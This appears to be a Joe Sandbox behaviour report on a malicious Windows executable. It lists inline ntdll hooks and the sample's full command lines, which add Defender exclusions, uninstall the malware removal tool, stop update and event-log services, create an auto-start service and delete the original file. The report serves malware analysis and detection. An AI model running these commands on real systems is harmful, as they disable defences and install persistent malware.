ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Process: winlogon.exe, Module: ntdll.dll

Function Name	Hook Type	New Data
ZwEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
ZwResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
NtDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
ZwDeviceIoControlFile	INLINE	0xE9 0x90 0x03 0x33 0x34 0x4F
NtEnumerateKey	INLINE	0xE9 0x9C 0xC3 0x32 0x2C 0xCF
NtQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF
ZwEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQuerySystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtResumeThread	INLINE	0xE9 0x9A 0xA3 0x32 0x27 0x7F
RtlGetNativeSystemInformation	INLINE	0xE9 0x9C 0xC3 0x32 0x2A 0xAF
NtQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
NtEnumerateValueKey	INLINE	0xE9 0x90 0x03 0x33 0x31 0x1F
ZwQueryDirectoryFileEx	INLINE	0xE9 0x97 0x73 0x30 0x0A 0xAF
ZwQueryDirectoryFile	INLINE	0xE9 0x9A 0xA3 0x32 0x2B 0xBF

Target ID:	0
Start time:	23:57:58
Start date:	19/10/2024
Path:	C:\Users\user\Desktop\whrbuflqwhah.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\whrbuflqwhah.exe"
Imagebase:	0x7ff783b90000
File size:	5'512'704 bytes
MD5 hash:	99201BE105BF0A4B25D9C5113DA723FB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	23:57:59
Start date:	19/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	23:57:59
Start date:	19/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:58:01
Start date:	19/10/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	23:58:02
Start date:	19/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff6bd2d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	23:58:02
Start date:	19/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop UsoSvc
Imagebase:	0x7ff703ae0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	23:58:02
Start date:	19/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:58:02
Start date:	19/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:58:02
Start date:	19/10/2024
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff6fdcd0000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	23:58:02
Start date:	19/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop WaaSMedicSvc
Imagebase:	0x7ff703ae0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	23:58:02
Start date:	19/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	23:58:02
Start date:	19/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop wuauserv
Imagebase:	0x7ff703ae0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	23:58:02
Start date:	19/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	23:58:02
Start date:	19/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop bits
Imagebase:	0x7ff703ae0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	23:58:02
Start date:	19/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	23:58:02
Start date:	19/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop dosvc
Imagebase:	0x7ff703ae0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	23:58:02
Start date:	19/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	23:58:02
Start date:	19/10/2024
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\dialer.exe
Imagebase:	0x7ff73f770000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	18
Start time:	23:58:02
Start date:	19/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe delete "RYVSUJUA"
Imagebase:	0x7ff703ae0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	23:58:02
Start date:	19/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	23:58:02
Start date:	19/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe create "RYVSUJUA" binpath= "C:\ProgramData\trmrjvadsnmf\whrbuflqwhah.exe" start= "auto"
Imagebase:	0x7ff703ae0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	23:58:02
Start date:	19/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	23:58:02
Start date:	19/10/2024
Path:	C:\Windows\System32\winlogon.exe
Wow64 process (32bit):	false
Commandline:	winlogon.exe
Imagebase:	0x7ff7cd660000
File size:	906'240 bytes
MD5 hash:	F8B41A1B3E569E7E6F990567F21DCE97
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	23:58:03
Start date:	19/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop eventlog
Imagebase:	0x7ff703ae0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	23:58:03
Start date:	19/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe start "RYVSUJUA"
Imagebase:	0x7ff703ae0000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	23:58:03
Start date:	19/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	23:58:03
Start date:	19/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\user\Desktop\whrbuflqwhah.exe"
Imagebase:	0x7ff6bd2d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	23:58:03
Start date:	19/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	23:58:03
Start date:	19/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	23:58:03
Start date:	19/10/2024
Path:	C:\ProgramData\trmrjvadsnmf\whrbuflqwhah.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\trmrjvadsnmf\whrbuflqwhah.exe
Imagebase:	0x7ff6ccfe0000
File size:	5'512'704 bytes
MD5 hash:	99201BE105BF0A4B25D9C5113DA723FB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 63%, ReversingLabs Detection: 72%, Virustotal, Browse
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	23:58:03
Start date:	19/10/2024
Path:	C:\Windows\System32\choice.exe
Wow64 process (32bit):	false
Commandline:	choice /C Y /N /D Y /T 3
Imagebase:	0x7ff606860000
File size:	35'840 bytes
MD5 hash:	1A9804F0C374283B094E9E55DC5EE128
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	23:58:03
Start date:	19/10/2024
Path:	C:\Windows\System32\lsass.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\lsass.exe
Imagebase:	0x7ff7a2ae0000
File size:	59'456 bytes
MD5 hash:	A1CC00332BBF370654EE3DC8CDC8C95A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	23:58:03
Start date:	19/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	23:58:04
Start date:	19/10/2024
Path:	C:\Windows\System32\dwm.exe
Wow64 process (32bit):	false
Commandline:	"dwm.exe"
Imagebase:	0x7ff74e710000
File size:	94'720 bytes
MD5 hash:	5C27608411832C5B39BA04E33D53536C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	23:58:05
Start date:	19/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	35
Start time:	23:58:05
Start date:	19/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	36
Start time:	23:58:05
Start date:	19/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	23:58:06
Start date:	19/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	38
Start time:	23:58:06
Start date:	19/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	23:58:06
Start date:	19/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	23:58:06
Start date:	19/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	23:58:07
Start date:	19/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	23:58:07
Start date:	19/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	43
Start time:	23:58:07
Start date:	19/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	44
Start time:	23:58:08
Start date:	19/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	45
Start time:	23:58:08
Start date:	19/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	46
Start time:	23:58:09
Start date:	19/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	47
Start time:	23:58:09
Start date:	19/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	48
Start time:	23:58:09
Start date:	19/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s FontCache
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	49
Start time:	23:58:09
Start date:	19/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	50
Start time:	23:58:09
Start date:	19/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	51
Start time:	23:58:10
Start date:	19/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	52
Start time:	23:58:10
Start date:	19/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	53
Start time:	23:58:10
Start date:	19/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	54
Start time:	23:58:11
Start date:	19/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 00007FF783B91140 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1724623747.00007FF783B91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF783B90000, based on PE: true

Associated: 00000000.00000002.1724565814.00007FF783B90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724662598.00007FF783BA3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724692129.00007FF783BA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1724719701.00007FF783BAA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1725552540.00007FF78409E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1725589539.00007FF7840D8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff783b90000_whrbuflqwhah.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1235303a4078601fa075146d934a06d32e9be1ad41df72c2bceefdb3f93881ef
Instruction ID: 60d7d99bc8891d278712dfff7f5e01099a9b122a8231ac0144d35fd32f18c388
Opcode Fuzzy Hash: 1235303a4078601fa075146d934a06d32e9be1ad41df72c2bceefdb3f93881ef
Instruction Fuzzy Hash: 93B012B0E0570984E7423F4AD881358BA607B08780FE40430C98C23362DE7D5040DB30

Analysis Process: WmiPrvSE.exePID: 7460, Parent PID: 752COMMON

Execution Graph

Execution Coverage:	0.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	73
Total number of Limit Nodes:	2

Executed Functions

Function 000002C5CCF7328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000002C5CCF732AE
PathFindFileNameW.SHLWAPI ref: 000002C5CCF732BD

Part of subcall function 000002C5CCF73844: StrCmpNIW.SHLWAPI ref: 000002C5CCF7385C

Part of subcall function 000002C5CCF73790: GetModuleHandleW.KERNEL32 ref: 000002C5CCF7379E
Part of subcall function 000002C5CCF73790: GetCurrentProcess.KERNEL32 ref: 000002C5CCF737CC
Part of subcall function 000002C5CCF73790: VirtualProtectEx.KERNEL32 ref: 000002C5CCF737EE
Part of subcall function 000002C5CCF73790: GetCurrentProcess.KERNEL32 ref: 000002C5CCF73809
Part of subcall function 000002C5CCF73790: VirtualProtectEx.KERNEL32 ref: 000002C5CCF7382A

CreateThread.KERNEL32 ref: 000002C5CCF7330B

Part of subcall function 000002C5CCF71D14: GetCurrentThread.KERNEL32 ref: 000002C5CCF71D1F

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 68bba05f479b3f6f92d8e82985eb30a77bb311ae7d0b176ec6b71207cf32c58e
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
